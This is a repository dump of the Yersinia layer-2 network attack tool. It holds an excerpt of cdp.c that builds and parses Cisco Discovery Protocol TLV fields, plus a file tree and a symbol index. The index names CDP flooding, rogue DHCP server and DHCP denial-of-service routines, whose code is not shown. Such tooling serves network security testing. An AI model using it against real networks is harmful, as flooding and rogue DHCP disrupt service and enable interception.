/* Space left in options should be zero */
memset((void *)(cdp_data->options + cdp_data->options_len), 0, MAX_TLV*MAX_VALUE_LENGTH - cdp_data->options_len);
return 0;
}
i++;
offset += len;
}
break;
case TLV_ADD:
switch(type) {
case CDP_TYPE_DEVID:
case CDP_TYPE_PORTID:
case CDP_TYPE_VERSION:
case CDP_TYPE_PLATFORM:
len = strlen((char *)value) + 4;
if (cdp_data->options_len + len < MAX_TLV*MAX_VALUE_LENGTH) {
/* Type */
aux_short = htons(type);
memcpy((void *)(cdp_data->options + cdp_data->options_len), (void *)&aux_short, 2);
/* Length */
aux_short = htons(len);
memcpy((void *)(cdp_data->options + cdp_data->options_len + 2), (void *)&aux_short, 2);
/* Value */
memcpy((void *)(cdp_data->options + cdp_data->options_len + 4), (void *)value, len - 4);
cdp_data->options_len += len;
}
else
return -1;
break;
case CDP_TYPE_ADDRESS:
len = 13 + 4;
if (cdp_data->options_len + len < MAX_TLV*MAX_VALUE_LENGTH) {
/* Type */
aux_short = htons(type);
memcpy((void *)cdp_data->options + cdp_data->options_len, &aux_short, 2);
/* Length */
aux_short = htons(len);
memcpy((void *)cdp_data->options + cdp_data->options_len + 2, &aux_short, 2);
/* Value */
/* Number of IP */
aux_long = htonl(0x00000001);
memcpy((void *)cdp_data->options + cdp_data->options_len + 4, &aux_long, 4);
/* Type */
memcpy((void *)cdp_data->options + cdp_data->options_len + 8, "\x01", 1); /* NLPID */
/* Length */
memcpy((void *)cdp_data->options + cdp_data->options_len + 9, "\x01", 1);
/* Protocol */
memcpy((void *)cdp_data->options + cdp_data->options_len + 10, "\xcc", 1); /* IP */
/* Length */
aux_short = htons(0x0004);
memcpy((void *)cdp_data->options + cdp_data->options_len + 11, &aux_short, 2);
/* IP */
/* aux_long = ntohl(addr.s_addr);*/
memcpy((void *)cdp_data->options + cdp_data->options_len + 13, (void *)value, 4);
cdp_data->options_len += len;
}
else
return -1;
break;
case CDP_TYPE_CAPABILITY:
len = 4 + 4;
if (cdp_data->options_len + len < MAX_TLV*MAX_VALUE_LENGTH) {
/* Type */
aux_short = htons(type);
memcpy((void *)cdp_data->options + cdp_data->options_len, &aux_short, 2);
/* Length */
aux_short = htons(len);
memcpy((void *)cdp_data->options + cdp_data->options_len + 2, &aux_short, 2);
/* Value */
aux_long = htonl((*(u_int32_t *)value));
memcpy((void *)cdp_data->options + cdp_data->options_len + 4, &aux_long, 4);
cdp_data->options_len += len;
}
else
return -1;
break;
}
break;
}
return -1;
}
/*
* Return formated strings of each CDP field
*/
char **cdp_get_printable_packet( struct pcap_data *data )
{
struct libnet_802_3_hdr *ether;
u_char *cdp_data, *ptr;
char *buf_ptr;
u_int8_t i, k;
#ifdef LBL_ALIGN
u_int16_t aux_short;
#endif
char **field_values;
char *buffer;
u_int16_t type, len;
u_int32_t total_len;
buffer = (char *)calloc( 1, 4096 );
if ( ! buffer )
{
write_log(0, "Error in calloc\n");
return NULL;
}
field_values = (char **)protocol_create_printable( protocols[PROTO_CDP].nparams, protocols[PROTO_CDP].parameters );
if ( ! field_values )
{
write_log(0, "Error in calloc\n");
free( buffer );
return NULL;
}
ether = (struct libnet_802_3_hdr *) data->packet;
cdp_data = (u_char *) (data->packet + LIBNET_802_3_H + LIBNET_802_2SNAP_H);
/* Source MAC */
snprintf(field_values[CDP_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X",
ether->_802_3_shost[0], ether->_802_3_shost[1], ether->_802_3_shost[2],
ether->_802_3_shost[3], ether->_802_3_shost[4], ether->_802_3_shost[5]);
/* Destination MAC */
snprintf(field_values[CDP_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X",
ether->_802_3_dhost[0], ether->_802_3_dhost[1], ether->_802_3_dhost[2],
ether->_802_3_dhost[3], ether->_802_3_dhost[4], ether->_802_3_dhost[5]);
/* Version */
snprintf(field_values[CDP_VER], 3, "%02X", *((u_char *)cdp_data));
/* TTL */
snprintf(field_values[CDP_TTL], 3, "%02X", *((u_char *)cdp_data+1));
/* Checksum */
#ifdef LBL_ALIGN
memcpy((void *)&aux_short,cdp_data+2,2);
snprintf(field_values[CDP_CHECKSUM], 5, "%04X", ntohs(aux_short));
#else
snprintf(field_values[CDP_CHECKSUM], 5, "%04X", ntohs(*(u_int16_t *)(cdp_data+2)));
#endif
ptr = cdp_data + 4;
buf_ptr = buffer;
i = 0;
total_len = 0;
/* now the tlv section starts */
while((ptr < data->packet + data->header->caplen) && (i < MAX_TLV)) {
if ((ptr+4) > ( data->packet + data->header->caplen)) /* Undersized packet !! */
break;
#ifdef LBL_ALIGN
memcpy((void *)&aux_short,ptr,2);
type = ntohs(aux_short);
memcpy((void*)&aux_short,(ptr+2),2);
len = ntohs(aux_short);
#else
type = ntohs(*(u_int16_t *)ptr);
len = ntohs(*(u_int16_t *)(ptr + 2));
#endif
if ((ptr + len) > data->packet + data->header->caplen)
{
free( buffer );
free( field_values ) ;
return NULL; /* Oversized packet!! */
}
if (!len)
break;
/* TLV len must be at least 5 bytes (header + data).
* Anyway i think we can give a chance to the rest
* of TLVs... ;) */
if (len >= 4)
{
/* First we get the type */
k = 0;
while(cdp_type_desc[k].desc) {
if (cdp_type_desc[k].type == type) {
strncpy(buf_ptr, cdp_type_desc[k].desc, strlen((char *)cdp_type_desc[k].desc));
buf_ptr += strlen((char *)cdp_type_desc[k].desc) + 1;
total_len += strlen((char *)cdp_type_desc[k].desc) + 1;
/* Now copy the value */
switch(type) {
case CDP_TYPE_DEVID:
case CDP_TYPE_PORTID:
case CDP_TYPE_VERSION:
case CDP_TYPE_PLATFORM:
case CDP_TYPE_VTP_MGMT_DOMAIN:
case CDP_TYPE_SYSTEM_NAME:
case CDP_TYPE_LOCATION:
if ((len-4) < MAX_VALUE_LENGTH) {
memcpy(buf_ptr, ptr+4, len-4);
buf_ptr += len - 4 + 1;
total_len += len - 4 + 1;
} else {
memcpy(buf_ptr, ptr+4, MAX_VALUE_LENGTH);
buf_ptr += MAX_VALUE_LENGTH + 1;
total_len += MAX_VALUE_LENGTH + 1;
/* tlv[i][MAX_VALUE_LENGTH-2] = '|';
tlv[i].value[MAX_VALUE_LENGTH-1] = '\0';*/
}
break;
case CDP_TYPE_ADDRESS:
case CDP_TYPE_MANAGEMENT_ADDR:
/* Only get the 1st IP address */
if ((*(ptr+8) == 0x01) && (*(ptr+9) == 0x01) && (*(ptr+10) == 0xcc)) {
parser_get_formated_inet_address(ntohl((*(u_int32_t *)(ptr + 13))), buf_ptr, 16);
buf_ptr += 16;
total_len += 16;
} else {
*buf_ptr = '\0';
buf_ptr++;
total_len++;
}
break;
case CDP_TYPE_CAPABILITY: /* 4 byte field */
if (len == 8) {
snprintf(buf_ptr, 9, "%02X%02X%02X%02X",
*(ptr+4), *(ptr+5), *(ptr+6), *(ptr+7));
/* cdp->tlv[i].value[8] = '\0';*/
buf_ptr += 9;
total_len += 9;
}
break;
/* case CDP_TYPE_IPPREFIX:
case CDP_TYPE_PROTOCOL_HELLO:*/
case CDP_TYPE_NATIVE_VLAN:
snprintf(buf_ptr, 5, "%04X", ntohs(*((u_int16_t *)(ptr+4))));
buf_ptr += 5;
total_len += 5;
break;
case CDP_TYPE_DUPLEX:
case CDP_TYPE_TRUST_BITMAP:
case CDP_TYPE_UNTRUSTED_COS:
snprintf(buf_ptr, 3, "%02X", *((u_int8_t *)(ptr+4)));
buf_ptr += 3;
total_len += 3;
break;
/* case CDP_TYPE_VOIP_VLAN_REPLY:
case CDP_TYPE_VOIP_VLAN_QUERY:
case CDP_TYPE_MTU:
case CDP_TYPE_SYSTEM_OID:*/
default:
*buf_ptr = '\0';
buf_ptr++;
total_len++;
break;
}
}
k++;
}
}
i++;
ptr += len;
}
if ( total_len > 0 )
{
field_values[CDP_TLV] = (char *)calloc(1, total_len);
if ( field_values[CDP_TLV] )
memcpy((void *)field_values[CDP_TLV], (void *)buffer, total_len);
else
write_log(0, "error in calloc\n");
}
free( buffer );
return field_values;
}
char **cdp_get_printable_store( struct term_node *node )
{
struct cdp_data *cdp;
struct commands_param_extra_item *item;
dlist_t *p;
#ifdef LBL_ALIGN
u_int16_t aux_short;
#endif
u_int8_t *ptr, i;
char **field_values;
char *buffer, *buf_ptr;
u_int16_t total;
/* smac + dmac + version + ttl + checksum + tlv + null = 7 */
field_values = (char **)protocol_create_printable( protocols[PROTO_CDP].nparams, protocols[PROTO_CDP].parameters );
if ( ! field_values )
{
write_log( 0, "Error in calloc\n" );
return NULL;
}
buffer = (char *)calloc( 1, 4096 );
if ( ! buffer )
{
write_log( 0, "Error in calloc\n" );
free( field_values );
return NULL;
}
if (node == NULL)
cdp = protocols[PROTO_CDP].default_values;
else
cdp = (struct cdp_data *) node->protocol[PROTO_CDP].tmp_data;
snprintf( field_values[CDP_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", cdp->mac_source[0], cdp->mac_source[1],
cdp->mac_source[2], cdp->mac_source[3],
cdp->mac_source[4], cdp->mac_source[5] );
snprintf( field_values[CDP_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", cdp->mac_dest[0], cdp->mac_dest[1],
cdp->mac_dest[2], cdp->mac_dest[3],
cdp->mac_dest[4], cdp->mac_dest[5] );
snprintf( field_values[CDP_VER], 3, "%02X", cdp->version );
snprintf( field_values[CDP_TTL], 3, "%02X", cdp->ttl );
#ifdef LBL_ALIGN
memcpy((void *)&aux_short, (void *)&cdp->checksum, 2);
snprintf(field_values[CDP_CHECKSUM], 5, "%04X", aux_short);
#else
snprintf(field_values[CDP_CHECKSUM], 5, "%04X", cdp->checksum);
#endif
buf_ptr = buffer;
total = 0;
/* TLV */
/* Take care: options in the store are stored in network byte order */
for ( p=cdp->extra ; p ; p = dlist_next( cdp->extra, p ) )
{
item = (struct commands_param_extra_item *) dlist_data(p);
ptr = item->value;
i = 0;
while( i < protocols[PROTO_CDP].extra_nparams )
{
if ( protocols[PROTO_CDP].extra_parameters[i].id == item->id )
{
strncpy(buf_ptr, protocols[PROTO_CDP].extra_parameters[i].ldesc, strlen((char *)protocols[PROTO_CDP].extra_parameters[i].ldesc));
buf_ptr += strlen(protocols[PROTO_CDP].extra_parameters[i].ldesc) + 1;
total += strlen(protocols[PROTO_CDP].extra_parameters[i].ldesc) + 1;
/* Now copy the value */
strncpy(buf_ptr, (char *)ptr, protocols[PROTO_CDP].extra_parameters[i].size_print);
total += strlen(buf_ptr) + 1;
buf_ptr += strlen(buf_ptr) + 1;
}
i++;
}
}
total++;
if ( total > 0 )
{
field_values[CDP_TLV] = (char *)calloc( 1, total );
if ( field_values[CDP_TLV] )
memcpy( (void *)field_values[CDP_TLV], (void *)buffer, total );
else
write_log( 0, "error in calloc\n" );
}
free( buffer );
return (char **)field_values;
}
char *
cdp_get_type_info(u_int16_t type)
{
u_int8_t i;
i = 0;
while (cdp_type_desc[i].desc) {
if (cdp_type_desc[i].type == type)
return cdp_type_desc[i].desc;
i++;
}
return "(Unknown)";
}
/* Take care: options in the store are stored in network byte order */
int8_t cdp_load_values( struct pcap_data *data, void *values )
{
struct libnet_802_3_hdr *ether;
struct cdp_data *cdp = (struct cdp_data *)values; ;
struct commands_param_extra_item *newitem;
u_char *cdp_data, *ptr;
#ifdef LBL_ALIGN
u_int16_t aux_short;
#endif
u_int8_t i;
u_int16_t type, len, total;
ether = (struct libnet_802_3_hdr *) data->packet;
cdp_data = (u_char *) (data->packet + LIBNET_802_3_H + LIBNET_802_2SNAP_H);
/* Source MAC */
memcpy(cdp->mac_source, ether->_802_3_shost, ETHER_ADDR_LEN);
/* Destination MAC */
memcpy(cdp->mac_dest, ether->_802_3_dhost, ETHER_ADDR_LEN);
/* Version */
cdp->version = *((u_int8_t *)cdp_data);
/* TTL */
cdp->ttl = *((u_int8_t *)cdp_data + 1);
/* Checksum... it is something boring to change the ck to 0... better we can
* avoid it...
#ifdef LBL_ALIGN
memcpy((void *)&aux_short, cdp_data+2, 2);
cdp->checksum = ntohs(aux_short);
#else
cdp->checksum = ntohs(*(u_int16_t *)(cdp_data + 2));
#endif
*/
ptr = cdp_data + 4;
i = 0;
total = 0;
if (cdp->extra)
dlist_delete(cdp->extra);
/* now the tlv section starts */
while((ptr < data->packet + data->header->caplen) && (i < MAX_TLV) && (total < MAX_TLV*MAX_VALUE_LENGTH))
{
if ((ptr+4) > ( data->packet + data->header->caplen)) /* Undersized packet !! */
return 0;
#ifdef LBL_ALIGN
memcpy((void *)&aux_short,ptr,2);
type = ntohs(aux_short);
memcpy((void*)&aux_short,(ptr+2),2);
len = ntohs(aux_short);
#else
type = ntohs(*(u_int16_t *)ptr);
len = ntohs(*(u_int16_t *)(ptr + 2));
#endif
if ((ptr + len) > data->packet + data->header->caplen)
return -1; /* Oversized packet!! */
if (!len)
return 0;
/*
* TLV len must be at least 5 bytes (header + data).
* Anyway i think we can give a chance to the rest
* of TLVs... ;)
*/
if ((len >= 4) && (total + len < MAX_TLV*MAX_VALUE_LENGTH))
{
if ((newitem = (struct commands_param_extra_item *) calloc(1, sizeof(struct commands_param_extra_item))) == NULL)
{
write_log(0, "Error in calloc\n");
return -1;
}
if ((newitem->value = (u_int8_t *) calloc(1, len - 4)) == NULL)
{
free( newitem );
write_log(0, "Error in calloc\n");
return -1;
}
memcpy((void *)&newitem->id, (void *)&type, 2);
memcpy((void *)newitem->value, (void *)(ptr + 4), len - 4);
cdp->extra = dlist_append(cdp->extra, (void *)newitem);
}
i++;
ptr += len;
total += len;
}
cdp->options_len = total;
return 0;
}
int8_t
cdp_update_field(int8_t state, struct term_node *node, void *value)
{
struct cdp_data *cdp_data;
if (node == NULL)
cdp_data = protocols[PROTO_CDP].default_values;
else
cdp_data = node->protocol[PROTO_CDP].tmp_data;
switch(state)
{
/* Source MAC */
case CDP_SMAC:
memcpy((void *)cdp_data->mac_source, (void *)value, ETHER_ADDR_LEN);
break;
/* Destination MAC */
case CDP_DMAC:
memcpy((void *)cdp_data->mac_dest, (void *)value, ETHER_ADDR_LEN);
break;
/* Version */
case CDP_VER:
cdp_data->version = *(u_int8_t *)value;
break;
/* TTL */
case CDP_TTL:
cdp_data->ttl = *(u_int8_t *)value;
break;
/* Checksum */
case CDP_CHECKSUM:
cdp_data->checksum = *(u_int16_t *)val
yersinia/ ├── .gitignore ├── .travis.yml ├── AUTHORS ├── COPYING ├── ChangeLog ├── FAQ ├── INSTALL ├── Makefile.am ├── NEWS ├── README ├── README.md ├── THANKS ├── TODO ├── acinclude.m4 ├── autogen.sh ├── borra ├── configure.ac ├── src/ │ ├── Makefile.am │ ├── admin.c │ ├── admin.h │ ├── arp.c │ ├── arp.h │ ├── attack.c │ ├── attack.h │ ├── cdp.c │ ├── cdp.h │ ├── commands-struct.h │ ├── commands.c │ ├── commands.h │ ├── dhcp.c │ ├── dhcp.h │ ├── dlist.c │ ├── dlist.h │ ├── dot1q.c │ ├── dot1q.h │ ├── dot1x.c │ ├── dot1x.h │ ├── dtp.c │ ├── dtp.h │ ├── global.h │ ├── gtk-callbacks.c │ ├── gtk-callbacks.h │ ├── gtk-gui.c │ ├── gtk-gui.h │ ├── gtk-interface.c │ ├── gtk-interface.h │ ├── gtk-support.c │ ├── gtk-support.h │ ├── hsrp.c │ ├── hsrp.h │ ├── interfaces.c │ ├── interfaces.h │ ├── isl.c │ ├── isl.h │ ├── md5-sum.c │ ├── md5-sum.h │ ├── md5.c │ ├── md5.h │ ├── mpls.c │ ├── mpls.h │ ├── ncurses-callbacks.c │ ├── ncurses-callbacks.h │ ├── ncurses-gui.c │ ├── ncurses-gui.h │ ├── ncurses-interface.c │ ├── ncurses-interface.h │ ├── parser.c │ ├── parser.h │ ├── protocols.c │ ├── protocols.h │ ├── terminal-defs.h │ ├── terminal.c │ ├── terminal.h │ ├── thread-util.c │ ├── thread-util.h │ ├── vtp.c │ ├── vtp.h │ ├── xstp.c │ ├── xstp.h │ ├── yersinia.c │ ├── yersinia.conf │ └── yersinia.h └── yersinia.8
SYMBOL INDEX (1299 symbols across 62 files)
FILE: src/admin.c
function admin_init (line 98) | int8_t admin_init( struct term_tty *node )
type sockaddr (line 112) | struct sockaddr
type sockaddr_in (line 113) | struct sockaddr_in
type timeval (line 114) | struct timeval
type filter (line 115) | struct filter
type term_tty (line 116) | struct term_tty
type term_tty (line 135) | struct term_tty
type filter (line 136) | struct filter
type sockaddr_in (line 172) | struct sockaddr_in
type sockaddr (line 178) | struct sockaddr
type sockaddr (line 192) | struct sockaddr
type sockaddr (line 192) | struct sockaddr
type in_addr (line 215) | struct in_addr
type sockaddr (line 217) | struct sockaddr
type in_addr (line 225) | struct in_addr
function admin_filter_ip (line 251) | int8_t
function admin_th_listen_exit (line 283) | void
type sockaddr_in (line 321) | struct sockaddr_in
type timeval (line 322) | struct timeval
type term_vty (line 323) | struct term_vty
type term_node (line 324) | struct term_node
type sockaddr (line 373) | struct sockaddr
type sockaddr (line 375) | struct sockaddr
function admin_th_network_peer_exit (line 912) | void
function admin_exit (line 959) | void
FILE: src/admin.h
type term_tty (line 30) | struct term_tty
type sockaddr (line 34) | struct sockaddr
type term_node (line 37) | struct term_node
type filter (line 38) | struct filter
type terminals (line 41) | struct terminals
type term_types (line 42) | struct term_types
type term_states (line 43) | struct term_states
type term_node (line 50) | struct term_node
type term_node (line 51) | struct term_node
type term_node (line 52) | struct term_node
type term_node (line 54) | struct term_node
type term_node (line 56) | struct term_node
type term_node (line 57) | struct term_node
type term_node (line 58) | struct term_node
type term_node (line 59) | struct term_node
type term_node (line 60) | struct term_node
type term_node (line 61) | struct term_node
type term_node (line 62) | struct term_node
type term_node (line 63) | struct term_node
type term_node (line 64) | struct term_node
type term_node (line 65) | struct term_node
type term_node (line 66) | struct term_node
type term_node (line 67) | struct term_node
type term_node (line 68) | struct term_node
type term_node (line 69) | struct term_node
type term_node (line 70) | struct term_node
type term_node (line 71) | struct term_node
type term_node (line 73) | struct term_node
type term_node (line 74) | struct term_node
type term_node (line 75) | struct term_node
type term_node (line 76) | struct term_node
type term_node (line 77) | struct term_node
type term_node (line 78) | struct term_node
type term_node (line 79) | struct term_node
type term_node (line 85) | struct term_node
FILE: src/arp.c
function arp_register (line 82) | void
FILE: src/arp.h
type arp_data (line 40) | struct arp_data { /* ARP and Ethernet fields*/
type proto_features (line 51) | struct proto_features
type _attack_definition (line 57) | struct _attack_definition
type attacks (line 68) | struct attacks
type interface_data (line 70) | struct interface_data
type interface_data (line 70) | struct interface_data
type pcap_pkthdr (line 70) | struct pcap_pkthdr
type in_addr (line 72) | struct in_addr
type _attack_definition (line 74) | struct _attack_definition
type terminals (line 75) | struct terminals
FILE: src/attack.c
function attack_launch (line 82) | int8_t attack_launch( struct term_node *node, u_int16_t proto, u_int16_t...
function attack_kill_th (line 146) | int8_t attack_kill_th( struct term_node *node, pthread_t pid )
function attack_kill_index (line 175) | int8_t attack_kill_index( struct term_node *node, uint8_t proto_arg, uin...
function attack_th_exit (line 192) | int8_t attack_th_exit(struct attacks *attacks)
function attack_gen_mac (line 237) | void
function attack_init_params (line 245) | int8_t
function attack_free_params (line 280) | void
function attack_filter_all_params (line 304) | int8_t
FILE: src/attack.h
type term_node (line 34) | struct term_node
type attack_param (line 34) | struct attack_param
type term_node (line 35) | struct term_node
type attacks (line 36) | struct attacks
type term_node (line 37) | struct term_node
type attack_param (line 37) | struct attack_param
type attack_param (line 38) | struct attack_param
type attack_param (line 39) | struct attack_param
type term_node (line 41) | struct term_node
type in_addr (line 47) | struct in_addr
FILE: src/cdp.c
function cdp_register (line 93) | void
function cdp_init_comms_struct (line 117) | int8_t
function cdp_send (line 145) | int8_t cdp_send( struct attacks *attacks )
function cdp_th_send_raw (line 231) | void cdp_th_send_raw(void *arg)
function cdp_th_send_raw_exit (line 254) | void cdp_th_send_raw_exit( struct attacks *attacks )
function cdp_th_flood (line 263) | void
function cdp_th_flood_exit (line 340) | void cdp_th_flood_exit( struct attacks *attacks )
function cdp_th_virtual_device (line 350) | void cdp_th_virtual_device( void *arg )
function cdp_th_virtual_device_exit (line 379) | void cdp_th_virtual_device_exit(struct attacks *attacks)
function cdp_send_hellos (line 389) | void cdp_send_hellos( void *arg )
function cdp_create_tlv_item (line 439) | int8_t
function cdp_update_tlv_item (line 537) | int8_t
function cdp_edit_tlv (line 603) | int8_t
type pcap_data (line 721) | struct pcap_data
type libnet_802_3_hdr (line 723) | struct libnet_802_3_hdr
type libnet_802_3_hdr (line 752) | struct libnet_802_3_hdr
type term_node (line 908) | struct term_node
type cdp_data (line 910) | struct cdp_data
type commands_param_extra_item (line 911) | struct commands_param_extra_item
type cdp_data (line 940) | struct cdp_data
type commands_param_extra_item (line 965) | struct commands_param_extra_item
function cdp_load_values (line 1021) | int8_t cdp_load_values( struct pcap_data *data, void *values )
function cdp_update_field (line 1120) | int8_t
function cdp_init_attribs (line 1164) | int8_t
type term_node (line 1188) | struct term_node
type cdp_data (line 1190) | struct cdp_data
function u_int16_t (line 1204) | u_int16_t
function cdp_tlv_devid (line 1234) | int8_t
function cdp_tlv_portid (line 1245) | int8_t
function cdp_tlv_version (line 1256) | int8_t
function cdp_tlv_platform (line 1267) | int8_t
function cdp_tlv_address (line 1278) | int8_t
function cdp_end (line 1290) | int8_t
FILE: src/cdp.h
type cdp_data (line 78) | struct cdp_data { /* CDP and Ethernet fields*/
type tuple_type_desc (line 95) | struct tuple_type_desc
type attack_param (line 119) | struct attack_param
type proto_features (line 129) | struct proto_features
type tuple_type_desc (line 134) | struct tuple_type_desc
type commands_param (line 146) | struct commands_param
type commands_param_extra (line 164) | struct commands_param_extra
type attacks (line 193) | struct attacks
type attacks (line 195) | struct attacks
type attacks (line 197) | struct attacks
type _attack_definition (line 199) | struct _attack_definition
type attacks (line 207) | struct attacks
type cdp_data (line 209) | struct cdp_data
type cdp_data (line 210) | struct cdp_data
type term_node (line 211) | struct term_node
type pcap_data (line 212) | struct pcap_data
type term_node (line 213) | struct term_node
type pcap_data (line 214) | struct pcap_data
type term_node (line 215) | struct term_node
type term_node (line 216) | struct term_node
type term_node (line 217) | struct term_node
type attacks (line 218) | struct attacks
type term_node (line 221) | struct term_node
type term_node (line 222) | struct term_node
type attacks (line 227) | struct attacks
type in_addr (line 231) | struct in_addr
type _attack_definition (line 235) | struct _attack_definition
FILE: src/commands-struct.h
type commands (line 30) | struct commands {
type term_node (line 41) | struct term_node
type words_array (line 41) | struct words_array
type commands (line 41) | struct commands
type term_node (line 42) | struct term_node
type words_array (line 42) | struct words_array
type commands (line 42) | struct commands
type term_node (line 43) | struct term_node
type words_array (line 43) | struct words_array
type commands (line 43) | struct commands
type term_node (line 44) | struct term_node
type words_array (line 44) | struct words_array
type commands (line 44) | struct commands
type term_node (line 45) | struct term_node
type words_array (line 45) | struct words_array
type commands (line 45) | struct commands
type term_node (line 47) | struct term_node
type words_array (line 47) | struct words_array
type commands (line 47) | struct commands
type term_node (line 48) | struct term_node
type words_array (line 48) | struct words_array
type commands (line 48) | struct commands
type term_node (line 49) | struct term_node
type words_array (line 49) | struct words_array
type commands (line 49) | struct commands
type term_node (line 50) | struct term_node
type words_array (line 50) | struct words_array
type commands (line 50) | struct commands
type term_node (line 52) | struct term_node
type words_array (line 52) | struct words_array
type commands (line 52) | struct commands
type term_node (line 53) | struct term_node
type words_array (line 53) | struct words_array
type commands (line 53) | struct commands
type term_node (line 54) | struct term_node
type words_array (line 54) | struct words_array
type commands (line 54) | struct commands
type term_node (line 55) | struct term_node
type words_array (line 55) | struct words_array
type commands (line 55) | struct commands
type term_node (line 56) | struct term_node
type words_array (line 56) | struct words_array
type commands (line 56) | struct commands
type term_node (line 57) | struct term_node
type words_array (line 57) | struct words_array
type commands (line 57) | struct commands
type term_node (line 58) | struct term_node
type words_array (line 58) | struct words_array
type commands (line 58) | struct commands
type term_node (line 59) | struct term_node
type words_array (line 59) | struct words_array
type commands (line 59) | struct commands
type term_node (line 60) | struct term_node
type words_array (line 60) | struct words_array
type commands (line 60) | struct commands
type commands (line 63) | struct commands
type commands (line 69) | struct commands
type commands (line 75) | struct commands
type commands (line 80) | struct commands
type commands (line 85) | struct commands
type commands (line 90) | struct commands
type commands (line 97) | struct commands
type commands (line 108) | struct commands
FILE: src/commands.c
function command_entry_point (line 94) | int8_t command_entry_point( struct term_node *node, struct words_array *...
function command_main (line 104) | int8_t command_main( struct term_node *node, struct words_array *warray,...
function command_list_help (line 255) | int8_t
function command_list_help2 (line 323) | int8_t command_list_help2( struct term_node *node, char *word, struct co...
function command_prueba (line 432) | int8_t
function command_cls (line 482) | int8_t
function command_help (line 530) | int8_t
function command_disable (line 558) | int8_t
function command_exit (line 570) | int8_t
function command_enable (line 603) | int8_t
function command_cancel_proto (line 639) | int8_t command_cancel_proto( struct term_node *node, struct words_array ...
function command_show_users (line 758) | int8_t
function command_show_history (line 838) | int8_t
function command_show_attacks (line 885) | int8_t
function command_show_interfaces (line 927) | int8_t
function show_interface_data (line 988) | int8_t
function command_show_version (line 1089) | int8_t
function command_show_stats (line 1178) | int8_t
function command_show_proto_attacks (line 1253) | int8_t
function command_show_proto_stats (line 1294) | int8_t
function command_show_proto_params (line 1306) | int8_t
function command_proto_attacks (line 1508) | int8_t
function command_clear_proto (line 1553) | int8_t
function command_set_proto (line 1592) | int8_t command_set_proto( struct term_node *node, struct words_array *wa...
function command_run_proto (line 1713) | int8_t command_run_proto( struct term_node *node, struct words_array *wa...
function command_run_attack (line 1792) | int8_t
function command_bad_input (line 1846) | int8_t
FILE: src/commands.h
type term_node (line 32) | struct term_node
type words_array (line 32) | struct words_array
type term_node (line 33) | struct term_node
type words_array (line 33) | struct words_array
type commands (line 33) | struct commands
type term_node (line 34) | struct term_node
type commands (line 34) | struct commands
type term_node (line 35) | struct term_node
type commands (line 35) | struct commands
type term_node (line 38) | struct term_node
type term_node (line 39) | struct term_node
type term_node (line 41) | struct term_node
type term_node (line 42) | struct term_node
type interface_data (line 42) | struct interface_data
type terminals (line 44) | struct terminals
type term_types (line 45) | struct term_types
type term_states (line 46) | struct term_states
type term_node (line 50) | struct term_node
type term_node (line 51) | struct term_node
type term_node (line 52) | struct term_node
type term_node (line 53) | struct term_node
type term_node (line 54) | struct term_node
type attack_param (line 54) | struct attack_param
type term_node (line 55) | struct term_node
type attack_param (line 55) | struct attack_param
type term_node (line 56) | struct term_node
FILE: src/dhcp.c
function dhcp_register (line 84) | void
function dhcp_init_comms_struct (line 108) | int8_t
function dhcp_th_send_raw (line 153) | void dhcp_th_send_raw( void *arg )
function dhcp_th_send_raw_exit (line 186) | void dhcp_th_send_raw_exit( struct attacks *attacks )
function dhcp_th_send_discover (line 196) | void dhcp_th_send_discover( void *arg )
function dhcp_th_send_discover_exit (line 219) | void dhcp_th_send_discover_exit( struct attacks *attacks )
function dhcp_send_discover (line 229) | int8_t
function dhcp_th_send_inform (line 253) | void dhcp_th_send_inform( void *arg )
function dhcp_th_send_inform_exit (line 276) | void dhcp_th_send_inform_exit( struct attacks *attacks )
function dhcp_send_inform (line 285) | int8_t
function dhcp_th_send_offer (line 312) | void dhcp_th_send_offer( void *arg )
function dhcp_th_send_offer_exit (line 335) | void dhcp_th_send_offer_exit( struct attacks *attacks )
function dhcp_send_offer (line 345) | int8_t
function dhcp_th_send_request (line 386) | void dhcp_th_send_request( void *arg )
function dhcp_th_send_request_exit (line 409) | void dhcp_th_send_request_exit( struct attacks *attacks )
function dhcp_send_request (line 418) | int8_t
function dhcp_send_release (line 458) | int8_t
function dhcp_th_send_decline (line 498) | void dhcp_th_send_decline( void *arg )
function dhcp_th_send_decline_exit (line 521) | void dhcp_th_send_decline_exit( struct attacks *attacks )
function dhcp_send_decline (line 531) | int8_t
function dhcp_th_dos_send_discover (line 572) | void dhcp_th_dos_send_discover( void *arg )
function dhcp_th_dos_send_discover_exit (line 607) | void dhcp_th_dos_send_discover_exit( struct attacks *attacks )
function dhcp_th_rogue_server (line 617) | void dhcp_th_rogue_server( void *arg )
function dhcp_th_rogue_server_exit (line 802) | void dhcp_th_rogue_server_exit( struct attacks *attacks )
function dhcp_th_dos_send_release (line 812) | void dhcp_th_dos_send_release( void *arg )
function dhcp_th_dos_send_release_exit (line 883) | void dhcp_th_dos_send_release_exit( struct attacks *attacks )
function dhcp_send_arp_request (line 893) | int8_t
function dhcp_learn_mac (line 975) | int8_t
function dhcp_send_packet (line 1053) | int8_t
function dhcp_learn_offer (line 1178) | int8_t
type pcap_data (line 1222) | struct pcap_data
type libnet_ethernet_hdr (line 1224) | struct libnet_ethernet_hdr
type libnet_ethernet_hdr (line 1254) | struct libnet_ethernet_hdr
function dhcp_load_values (line 1488) | int8_t
type term_node (line 1645) | struct term_node
type dhcp_data (line 1647) | struct dhcp_data
type dhcp_data (line 1675) | struct dhcp_data
function dhcp_update_field (line 1841) | int8_t
function dhcp_init_attribs (line 1951) | int8_t
function dhcp_edit_tlv (line 2014) | int8_t
function dhcp_end (line 2116) | int8_t
FILE: src/dhcp.h
type tuple_type_desc (line 73) | struct tuple_type_desc
type attack_param (line 151) | struct attack_param
type tuple_type_desc (line 168) | struct tuple_type_desc
type tuple_type_desc (line 174) | struct tuple_type_desc
type tuple_type_desc (line 186) | struct tuple_type_desc
type tuple_type_desc (line 191) | struct tuple_type_desc
type proto_features (line 197) | struct proto_features
type dhcp_data (line 207) | struct dhcp_data { /* DHCP and Ethernet fields*/
type tuple_type_desc (line 236) | struct tuple_type_desc
type commands_param (line 242) | struct commands_param
type commands_param_extra (line 290) | struct commands_param_extra
type attacks (line 369) | struct attacks
type attacks (line 371) | struct attacks
type attacks (line 373) | struct attacks
type attacks (line 375) | struct attacks
type attacks (line 377) | struct attacks
type attacks (line 379) | struct attacks
type attacks (line 381) | struct attacks
type attacks (line 383) | struct attacks
